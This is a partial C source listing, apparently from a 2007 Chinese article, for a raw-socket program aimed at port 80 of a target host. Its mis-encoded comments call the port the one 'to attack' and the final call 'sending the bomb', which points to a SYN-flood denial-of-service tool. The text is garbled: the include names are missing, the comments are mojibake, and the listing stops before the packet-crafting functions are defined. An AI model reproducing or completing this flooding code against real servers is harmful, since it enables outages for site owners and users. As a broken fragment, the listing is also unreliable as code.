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http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml
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int sockfd(AF_INET,SOCK_RAW,protocol)
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#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* Òª¹¥»÷µÄ¶Ë¿Ú(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostnamena",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** ʹÓÃIPPROTO_TCP´´½¨Ò»¸öTCPµÄԭʼÌ×½Ó×Ö ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** ûÓа취,Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃԭʼÌ×½Ó×Ö *********/
setuid(getpid());
/********* ·¢ËÍÕ¨µ¯ÁË!!!! ****/
send_tcp(sockfd,&addr);